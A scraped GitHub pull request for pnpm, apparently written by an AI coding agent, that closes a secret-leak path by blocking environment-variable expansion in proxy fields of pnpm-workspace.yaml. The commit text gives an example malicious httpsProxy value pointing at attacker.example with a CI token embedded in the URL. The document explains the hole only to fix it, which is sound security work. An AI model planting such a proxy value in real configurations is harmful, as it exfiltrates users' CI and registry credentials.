Repository navigation
fix(config): do not expand env vars in proxy fields from pnpm-workspace.yaml - #12871
Conversation
PR Summary by QodoFix env-var expansion in pnpm-workspace.yaml proxy settings
AI Description
Diagram
High-Level Assessment
Files changed (3)
|
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: Path: .coderabbit.yaml Review profile: CHILL Plan: Pro Plus Run ID: 📒 Files selected for processing (3)
✅ Files skipped from review due to trivial changes (1)
🚧 Files skipped from review as they are similar to previous changes (2)
📝 WalkthroughWalkthroughThe change broadens ChangesProxy field env expansion fix
Estimated code review effort: 1 (Trivial) | ~5 minutes Possibly related PRs
Suggested labels: ✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Warning There were issues while running some tools. Please review the errors and either fix the tool's configuration or disable the tool if it's a critical failure. 🔧 ESLint
ESLint install failed. For unrecoverable errors, disable the tool in CodeRabbit configuration. Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
…ce.yaml
Project-level `pnpm-workspace.yaml` is repository-controlled and therefore
untrusted, so `getOptionsFromPnpmSettings` refuses to expand `${...}`
environment-variable placeholders in request-destination fields. The guarded
set only covered `registry`, `namedRegistries`, and `pnprServer`; the
`httpProxy`, `httpsProxy`, and `noProxy` fields were missing.
Because those proxy fields still expanded placeholders, a malicious repository
could set e.g. `httpsProxy: "http://attacker.example/${CI_JOB_TOKEN}/"`, and a
victim running `pnpm install` would tunnel every registry request through the
attacker's host with the secret embedded in the URL, leaking it into the
attacker's access logs before any lifecycle script runs. The `.npmrc` channel
already blocked this; the workspace-yaml channel did not.
Add `httpProxy`, `httpsProxy`, and `noProxy` to REQUEST_DESTINATION_SCALAR_KEYS
so they receive the same protection, and extend the workspace-yaml
request-destination test to cover them.
Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6.
Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
66e2433 to
a4a05a8
Compare
PR Code Suggestions ✨Warning
|
|||||||||
Code Review by Qodo
Context used✅ Compliance rules (platform):
18 rules 1.
|
PR Code Suggestions ✨Warning
|
|||||||||
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.changeset/proxy-fields-env-expansion.md:
- Line 6: Trim the changeset text so it states only the behavior change: that
`httpProxy`, `httpsProxy`, and `noProxy` from `pnpm-workspace.yaml` are no
longer expanded for `${...}` placeholders, matching the protection already used
for `registry`, `namedRegistries`, and `pnprServer`. Remove the security
rationale and any explanatory detail from the entry, and keep the wording
concise and factual.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro Plus
Run ID: f7edd7ba-5649-4ad9-9849-dcf4117f08ee
📒 Files selected for processing (3)
.changeset/proxy-fields-env-expansion.mdpnpm11/config/reader/src/getOptionsFromRootManifest.tspnpm11/config/reader/test/index.ts
Add the legacy `proxy` and `noproxy` alias keys to REQUEST_DESTINATION_SCALAR_KEYS. `getConfig` falls back `httpsProxy <- proxy` and `noProxy <- noproxy`, so leaving the aliases unguarded let an untrusted `pnpm-workspace.yaml` re-open the same env-placeholder exfiltration path the previous commit closed for the canonical proxy fields. Extend the workspace-yaml request-destination test to cover the aliases, and trim the changeset to state only the behavior change. Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
|
Code review by qodo was updated up to the latest commit 49476f4 |
PR Code Suggestions ✨Warning
|
|||||||||
Summary
Project-level
pnpm-workspace.yamlis repository-controlled and therefore untrusted, sogetOptionsFromPnpmSettingsrefuses to expand${...}environment-variable placeholders in request-destination fields. That guard only coveredregistry,namedRegistries, andpnprServer— thehttpProxy,httpsProxy, andnoProxyfields were missing.Because those proxy fields still expanded placeholders, a malicious repository could set:
A victim running
pnpm installwould then tunnel every registry request through the attacker's host with the secret embedded in the URL path, leaking install-time secrets (CI tokens, npm tokens, OIDC values) into the attacker's access logs — before any lifecycle script runs. The.npmrcchannel already blocked this; thepnpm-workspace.yamlchannel did not.This PR adds
httpProxy,httpsProxy, andnoProxytoREQUEST_DESTINATION_SCALAR_KEYSso they get the same protection, and extends the existing workspace-yaml request-destination test to cover them.Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6.
Note: that advisory also describes a second, unrelated flaw (NET-1 — the
Authorizationheader being replayed across a same-host HTTPS→HTTP redirect downgrade in@pnpm/network.fetch). That is a distinct issue in a different file and is not addressed by this PR.Squash Commit Body
Checklist
pacquet/port, or the description notes what still needs porting. — pacquet has not ported thepnpm-workspace.yamlenv-expansion logic (noREQUEST_DESTINATIONequivalent), so there is nothing to mirror on the Rust side.pnpm changeset) if this PR changes any published package.Written by an agent (Claude Code, claude-opus-4-8).
Summary by CodeRabbit
Bug Fixes
${...}environment-variable placeholders during install.httpProxy,httpsProxy,noProxy,proxy, andnoproxy, consistent with existing protections for other request settings.Chores
Tests